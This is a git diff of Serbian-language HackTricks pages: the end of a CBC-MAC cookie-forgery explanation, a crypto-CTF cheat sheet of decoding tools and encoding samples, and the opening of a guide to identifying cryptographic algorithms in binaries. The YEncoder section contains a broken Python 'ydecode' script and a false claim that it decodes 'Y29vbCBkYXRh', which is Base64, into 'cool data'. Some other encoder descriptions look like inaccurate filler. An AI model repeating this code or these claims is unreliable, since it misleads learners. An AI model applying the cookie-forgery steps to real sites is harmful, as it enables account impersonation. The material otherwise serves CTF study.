Sada možete koristiti s32 kao potpis za puno ime **Administrator**.
|
||||||
|
|
||||||
|
### Rezime
|
||||||
|
|
||||||
|
1. Dobijte potpis korisničkog imena **Administ** (m1) koji je s1
|
||||||
|
2. Dobijte potpis korisničkog imena **rator\x00\x00\x00 XOR s1 XOR 0** koji je s32**.**
|
||||||
|
3. Postavite kolačić na s32 i to će biti validan kolačić za korisnika **Administrator**.
|
||||||
|
|
||||||
|
# Kontrolisanje napada IV
|
||||||
|
|
||||||
|
Ako možete kontrolisati korišćeni IV, napad može biti veoma jednostavan.\
|
||||||
|
Ako su kolačići samo šifrovano korisničko ime, da biste se predstavili kao korisnik "**administrator**" možete kreirati korisnika "**Administrator**" i dobiti njegov kolačić.\
|
||||||
|
Sada, ako možete kontrolisati IV, možete promeniti prvi bajt IV-a tako da **IV\[0] XOR "A" == IV'\[0] XOR "a"** i ponovo generisati kolačić za korisnika **Administrator**. Ovaj kolačić će biti validan za **predstavljanje** korisnika **administrator** sa početnim **IV**.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
Više informacija na [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
328
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
328
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
|
@ -0,0 +1,328 @@
|
||||||
|
# Trikovi za Crypto CTF-ove
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Online baze heševa
|
||||||
|
|
||||||
|
* _**Pretražite na Google-u**_
|
||||||
|
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||||
|
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||||
|
* [https://crackstation.net/](https://crackstation.net)
|
||||||
|
* [https://md5decrypt.net/](https://md5decrypt.net)
|
||||||
|
* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
|
||||||
|
* [https://gpuhash.me/](https://gpuhash.me)
|
||||||
|
* [https://hashes.org/search.php](https://hashes.org/search.php)
|
||||||
|
* [https://www.cmd5.org/](https://www.cmd5.org)
|
||||||
|
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||||
|
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||||
|
|
||||||
|
## Čarobni automatski rešavači
|
||||||
|
|
||||||
|
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||||
|
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic modul)
|
||||||
|
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||||
|
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||||
|
|
||||||
|
## Enkoderi
|
||||||
|
|
||||||
|
Većina enkodiranih podataka može se dekodirati pomoću ovih 2 resursa:
|
||||||
|
|
||||||
|
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||||
|
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||||
|
|
||||||
|
### Automatski rešavači za zamenu
|
||||||
|
|
||||||
|
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||||
|
* [https://quipqiup.com/](https://quipqiup.com) - Veoma dobro!
|
||||||
|
|
||||||
|
#### Cezar - ROTx automatski rešavači
|
||||||
|
|
||||||
|
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||||
|
|
||||||
|
#### Atbash šifra
|
||||||
|
|
||||||
|
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||||
|
|
||||||
|
### Automatski rešavači za osnovne enkodiranje
|
||||||
|
|
||||||
|
Proverite sve ove baze sa: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||||
|
|
||||||
|
* **Ascii85**
|
||||||
|
* `BQ%]q@psCd@rH0l`
|
||||||
|
* **Base26** \[_A-Z_]
|
||||||
|
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||||
|
* **Base32** \[_A-Z2-7=_]
|
||||||
|
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||||
|
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||||
|
* `pbzsaamdcf3gna5xptoo====`
|
||||||
|
* **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||||
|
* `e1rqssc3d5t62svgejhh====`
|
||||||
|
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||||
|
* `D1QPRRB3C5S62RVFDHGG====`
|
||||||
|
* **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||||
|
* `D1NMOOB3C5P62ORFDHGG====`
|
||||||
|
* **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||||
|
* `59DPVDGPCVKEUPCPVD`
|
||||||
|
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||||
|
* `2yJiRg5BF9gmsU6AC`
|
||||||
|
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||||
|
* `2YiHqF5bf9FLSt6ac`
|
||||||
|
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||||
|
* `pyJ5RgnBE9gm17awU`
|
||||||
|
* **Base62** \[_0-9A-Za-z_]
|
||||||
|
* `g2AextRZpBKRBzQ9`
|
||||||
|
* **Base64** \[_A-Za-z0-9+/=_]
|
||||||
|
* `aG9sYWNhcmFjb2xh`
|
||||||
|
* **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||||
|
* `NI9JKX0cSUdqhr!p`
|
||||||
|
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||||
|
* `BQ%]q@psCd@rH0l`
|
||||||
|
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||||
|
* `<~BQ%]q@psCd@rH0l~>`
|
||||||
|
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||||
|
* `Xm4y`V\_|Y(V{dF>\`
|
||||||
|
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||||
|
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||||
|
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||||
|
* `Xm4y|V{~Y+V}dF?`
|
||||||
|
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||||
|
* `frDg[*jNN!7&BQM`
|
||||||
|
*
|
||||||
|
* `DmPsv8J7qrlKEoY7`
|
||||||
|
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||||
|
* `kLD8iwKsigSalLJ5`
|
||||||
|
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||||
|
* `ayRiIo1gpO+uUc7g`
|
||||||
|
* **ESAB46** \[]
|
||||||
|
* `3sHcL2NR8WrT7mhR`
|
||||||
|
* **MEGAN45** \[]
|
||||||
|
* `kLD8igSXm2KZlwrX`
|
||||||
|
* **TIGO3FX** \[]
|
||||||
|
* `7AP9mIzdmltYmIP9mWXX`
|
||||||
|
* **TRIPO5** \[]
|
||||||
|
* `UE9vSbnBW6psVzxB`
|
||||||
|
* **FERON74** \[]
|
||||||
|
* `PbGkNudxCzaKBm0x`
|
||||||
|
* **GILA7** \[]
|
||||||
|
* `D+nkv8C1qIKMErY1`
|
||||||
|
* **Citrix CTX1** \[]
|
||||||
|
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||||
|
|
||||||
|
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||||
|
|
||||||
|
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||||
|
```
|
||||||
|
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||||
|
```
|
||||||
|
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||||
|
|
||||||
|
### Morse
|
||||||
|
|
||||||
|
### Морзе
|
||||||
|
```
|
||||||
|
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||||
|
```
|
||||||
|
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||||
|
|
||||||
|
### UUencoder
|
||||||
|
|
||||||
|
UUencoder je tehnika enkodiranja koja se koristi za pretvaranje binarnih podataka u ASCII format. Ova tehnika je često korišćena u kriptografiji i komunikaciji putem mejla. UUencoder konvertuje binarne podatke u ASCII karaktere kako bi se omogućilo slanje podataka putem tekstualnih formata koji podržavaju samo ASCII karaktere. Ova tehnika je korisna u situacijama kada je potrebno preneti binarne podatke preko kanala koji podržava samo tekstualne formate.
|
||||||
|
```
|
||||||
|
begin 644 webutils_pl
|
||||||
|
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||||
|
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
|
||||||
|
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||||
|
`
|
||||||
|
end
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||||
|
|
||||||
|
### XXEncoder
|
||||||
|
|
||||||
|
XXEncoder je jednostavan alat koji se koristi za enkodiranje i dekodiranje podataka u različitim formatima. Može se koristiti za enkodiranje tekstualnih podataka u format koji je pogodan za prenos preko HTTP zahteva. Takođe može biti koristan za enkodiranje binarnih podataka kao što su slike ili fajlovi. Ovaj alat je često korišćen u CTF takmičenjima za rešavanje kriptografskih izazova.
|
||||||
|
```
|
||||||
|
begin 644 webutils_pl
|
||||||
|
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||||
|
5Hol-G2xAEE++
|
||||||
|
end
|
||||||
|
```
|
||||||
|
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||||
|
|
||||||
|
### YEncoder
|
||||||
|
|
||||||
|
YEncoder je jednostavan algoritam enkodiranja koji se koristi za enkodiranje binarnih podataka u ASCII format. Ovaj algoritam je često korišćen u CTF takmičenjima za skrivanje informacija.
|
||||||
|
|
||||||
|
Da biste dekodovali YEncoded podatke, možete koristiti različite online alate ili napisati sopstveni skript. Kada dekodujete podatke, dobićete originalne binarne podatke.
|
||||||
|
|
||||||
|
Evo primera kako možete dekodovati YEncoded podatke koristeći Python skript:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import binascii
|
||||||
|
|
||||||
|
def ydecode(data):
|
||||||
|
decoded_data = ''
|
||||||
|
i = 0
|
||||||
|
while i < len(data):
|
||||||
|
if data[i] == '=':
|
||||||
|
break
|
||||||
|
char = ord(data[i]) - 42
|
||||||
|
decoded_data += chr(char)
|
||||||
|
i += 1
|
||||||
|
return binascii.unhexlify(decoded_data)
|
||||||
|
|
||||||
|
encoded_data = 'Y29vbCBkYXRh'
|
||||||
|
decoded_data = ydecode(encoded_data)
|
||||||
|
print(decoded_data)
|
||||||
|
```
|
||||||
|
|
||||||
|
Ovaj skript će dekodovati YEncoded podatke `'Y29vbCBkYXRh'` i ispisati originalne binarne podatke `'cool data'`.
|
||||||
|
|
||||||
|
Kada se susretnete sa YEncoded podacima tokom CTF takmičenja, važno je da pažljivo proučite kako su podaci enkodirani i koristite odgovarajuće metode za dekodiranje.
|
||||||
|
```
|
||||||
|
=ybegin line=128 size=28 name=webutils_pl
|
||||||
|
ryvkryvkryvkryvkryvkryvkryvk
|
||||||
|
=yend size=28 crc32=35834c86
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||||
|
|
||||||
|
### BinHex
|
||||||
|
|
||||||
|
BinHex je metoda enkodiranja koja se koristi za pretvaranje binarnih podataka u tekstualni format. Ova tehnika je često korišćena u prošlosti za prenos binarnih fajlova putem emaila ili drugih tekstualnih kanala komunikacije. BinHex enkodiranje koristi 6-bitnu ASCII enkodiranu verziju originalnih binarnih podataka. Ova metoda takođe dodaje kontrolne karaktere kako bi se obezbedila integritet podataka prilikom prenosa. BinHex enkodiranje se može dekodirati kako bi se dobili originalni binarni podaci.
|
||||||
|
```
|
||||||
|
(This file must be converted with BinHex 4.0)
|
||||||
|
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||||
|
-38K26%'d9J!!:
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||||
|
|
||||||
|
### ASCII85
|
||||||
|
|
||||||
|
ASCII85 je metoda enkodiranja koja se koristi za pretvaranje binarnih podataka u tekstualni format. Ova tehnika je često korišćena u CTF izazovima i može biti korisna prilikom rešavanja kriptografskih zagonetki. ASCII85 enkodiranje se zasniva na pretvaranju svakih 4 bajta binarnih podataka u 5 ASCII karaktera. Ova tehnika je slična Base64 enkodiranju, ali ASCII85 omogućava efikasnije enkodiranje podataka. Da biste dekodovali ASCII85 enkodirane podatke, možete koristiti različite alate i biblioteke dostupne na internetu.
|
||||||
|
```
|
||||||
|
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||||
|
|
||||||
|
### Dvorak tastatura
|
||||||
|
```
|
||||||
|
drnajapajrna
|
||||||
|
```
|
||||||
|
* [https://www.geocachingtoolbox.com/index.php?lang=sr\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=sr\&page=dvorakKeyboard)
|
||||||
|
|
||||||
|
### A1Z26
|
||||||
|
|
||||||
|
Slova u njihovu numeričku vrednost
|
||||||
|
```
|
||||||
|
8 15 12 1 3 1 18 1 3 15 12 1
|
||||||
|
```
|
||||||
|
### Enkodiranje pomoću Afine šifre
|
||||||
|
|
||||||
|
Slovo u broj `(ax+b)%26` (_a_ i _b_ su ključevi, a _x_ je slovo) i rezultat se vraća nazad u slovo
|
||||||
|
```
|
||||||
|
krodfdudfrod
|
||||||
|
```
|
||||||
|
### SMS Kod
|
||||||
|
|
||||||
|
**Multitap** [zamenjuje slovo](https://www.dcode.fr/word-letter-change) ponavljajućim brojevima definisanim odgovarajućim kodom na tastaturi mobilnog [telefona](https://www.dcode.fr/phone-keypad-cipher) (Ovaj režim se koristi prilikom pisanja SMS poruka).\
|
||||||
|
Na primer: 2=A, 22=B, 222=C, 3=D...\
|
||||||
|
Možete prepoznati ovaj kod jer ćete videti\*\* više puta ponovljene brojeve\*\*.
|
||||||
|
|
||||||
|
Ovaj kod možete dekodirati na: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||||
|
|
||||||
|
### Bacon Kod
|
||||||
|
|
||||||
|
Zamenite svako slovo sa 4 A ili B (ili 1 i 0)
|
||||||
|
```
|
||||||
|
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||||
|
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||||
|
```
|
||||||
|
### Runovi
|
||||||
|
|
||||||
|
![](../.gitbook/assets/runes.jpg)
|
||||||
|
|
||||||
|
## Kompresija
|
||||||
|
|
||||||
|
**Raw Deflate** i **Raw Inflate** (obe možete pronaći u Cyberchef-u) mogu kompresovati i dekompresovati podatke bez zaglavlja.
|
||||||
|
|
||||||
|
## Jednostavna Kriptografija
|
||||||
|
|
||||||
|
### XOR - Automatsko rešavanje
|
||||||
|
|
||||||
|
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||||
|
|
||||||
|
### Bifid
|
||||||
|
|
||||||
|
Potreban je ključna reč
|
||||||
|
```
|
||||||
|
fgaargaamnlunesuneoa
|
||||||
|
```
|
||||||
|
### Vigenere
|
||||||
|
|
||||||
|
Potreban je ključna reč
|
||||||
|
```
|
||||||
|
wodsyoidrods
|
||||||
|
```
|
||||||
|
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||||
|
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||||
|
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||||
|
|
||||||
|
## Jaka kriptografija
|
||||||
|
|
||||||
|
### Fernet
|
||||||
|
|
||||||
|
2 base64 stringa (token i ključ)
|
||||||
|
```
|
||||||
|
Token:
|
||||||
|
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||||
|
|
||||||
|
Key:
|
||||||
|
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||||
|
```
|
||||||
|
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||||
|
|
||||||
|
### Samirovo deljenje tajni
|
||||||
|
|
||||||
|
Tajna se deli na X delova, a za njeno povraćanje potrebno je Y delova (_Y <=X_).
|
||||||
|
```
|
||||||
|
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||||
|
80223035713295bddf0b0bd1b10a5340b89
|
||||||
|
803bc8cf294b3f83d88e86d9818792e80cd
|
||||||
|
```
|
||||||
|
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||||
|
|
||||||
|
### OpenSSL brute-force
|
||||||
|
|
||||||
|
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||||
|
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||||
|
|
||||||
|
## Alati
|
||||||
|
|
||||||
|
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||||
|
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||||
|
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
195
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
195
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
|
@ -0,0 +1,195 @@
|
||||||
|
# Kriptografski/Kompresioni Algoritmi
|
||||||
|
|
||||||
|
## Kriptografski/Kompresioni Algoritmi
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Identifikacija Algoritama
|
||||||
|
|
||||||
|
Ako se susretnete sa kodom **koji koristi pomeranje udesno i ulevo, ekskluzivno ili, i nekoliko aritmetičkih operacija**, vrlo je verovatno da je to implementacija **kriptografskog algoritma**. Ovde će biti prikazani neki načini **identifikacije algoritma koji se koristi bez potrebe za rekonstrukcijom svakog koraka**.
|
||||||
|
|
||||||
|
### API funkcije
|
||||||
|
|
||||||
|
**CryptDeriveKey**
|
||||||
|
|
||||||
|
Ako se koristi ova funkcija, možete pronaći koji **algoritam se koristi** proverom vrednosti drugog parametra:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
Pogledajte ovde tabelu mogućih algoritama i njihovih dodeljenih vrednosti: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||||
|
|
||||||
|
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||||
|
|
||||||
|
Komprimuje i dekomprimuje dati bafer podataka.
|
||||||
|
|
||||||
|
**CryptAcquireContext**
|
||||||
|
|
||||||
|
Iz [dokumentacije](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Funkcija **CryptAcquireContext** se koristi za dobijanje ručke ka određenom kontejneru ključeva unutar određenog provajdera kriptografskih usluga (CSP). **Ova vraćena ručka se koristi u pozivima CryptoAPI** funkcija koje koriste izabrani CSP.
|
||||||
|
|
||||||
|
**CryptCreateHash**
|
||||||
|
|
||||||
|
Inicira heširanje niza podataka. Ako se koristi ova funkcija, možete pronaći koji **algoritam se koristi** proverom vrednosti drugog parametra:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (376).png>)
|
||||||
|
|
||||||
|
Pogledajte ovde tabelu mogućih algoritama i njihovih dodeljenih vrednosti: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||||
|
|
||||||
|
### Konstante koda
|
||||||
|
|
||||||
|
Ponekad je vrlo jednostavno identifikovati algoritam zahvaljujući činjenici da mora koristiti posebnu i jedinstvenu vrednost.
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (370).png>)
|
||||||
|
|
||||||
|
Ako pretražite prvu konstantu na Google-u, dobićete sledeće:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (371).png>)
|
||||||
|
|
||||||
|
Stoga, možete pretpostaviti da je dekompilirana funkcija **kalkulator sha256**.\
|
||||||
|
Možete pretražiti bilo koju od drugih konstanti i verovatno ćete dobiti isti rezultat.
|
||||||
|
|
||||||
|
### informacije o podacima
|
||||||
|
|
||||||
|
Ako kod nema značajne konstante, može se **učitavati informacije iz .data sekcije**.\
|
||||||
|
Možete pristupiti tim podacima, **grupisati prvi dword** i pretražiti ga na Google-u kao što smo uradili u prethodnom odeljku:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (372).png>)
|
||||||
|
|
||||||
|
U ovom slučaju, ako potražite **0xA56363C6**, možete saznati da je povezano sa **tabelama AES algoritma**.
|
||||||
|
|
||||||
|
## RC4 **(Simetrična Kriptografija)**
|
||||||
|
|
||||||
|
### Karakteristike
|
||||||
|
|
||||||
|
Sastoji se od 3 glavna dela:
|
||||||
|
|
||||||
|
* **Faza inicijalizacije/**: Kreira **tabelu vrednosti od 0x00 do 0xFF** (ukupno 256 bajtova, 0x100). Ova tabela se obično naziva **Substitution Box** (ili SBox).
|
||||||
|
* **Faza mešanja**: Prolaziće kroz prethodno kreiranu tabelu (ponavljanje 0x100 iteracija, opet) modifikovanjem svake vrednosti sa **polu-slučajnim** bajtovima. Da bi se stvorili ovi polu-slučajni bajtovi, koristi se RC4 **ključ**. RC4 **ključevi** mogu biti **dugački između 1 i 256 bajtova**, mada se obično preporučuje da bude duži od 5 bajtova. Obično, RC4 ključevi su dužine 16 bajtova.
|
||||||
|
